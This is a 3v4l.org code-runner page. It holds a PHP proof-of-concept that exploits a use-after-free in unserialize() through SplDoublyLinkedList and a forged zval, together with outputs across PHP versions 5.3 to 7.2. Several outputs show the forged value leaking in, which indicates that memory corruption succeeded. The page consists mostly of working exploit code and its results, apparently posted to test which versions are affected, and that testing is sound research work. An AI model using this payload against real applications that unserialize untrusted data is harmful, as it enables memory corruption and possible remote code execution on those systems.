3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data);
based on ka92C
Output for 5.4.45, 5.5.29 - 5.5.35, 5.6.13 - 7.2.0
array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> int(1) } [4]=> string(24) "�v�B" }
Output for 5.4.39 - 5.4.44, 5.5.24 - 5.5.28, 5.6.8 - 5.6.12
array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> int(1122334455) } [4]=> string(24) "�v�B����" }
Output for 5.4.9 - 5.4.38
array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> int(1122334455) } [4]=> string(24) "�v�B" }
Output for 5.3.19 - 5.3.29
Warning: Class SplDoublyLinkedList has no unserializer in /in/p7L9A on line 28 array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> &array(1) { [0]=> *RECURSION* } [4]=> string(24) "�v�B" }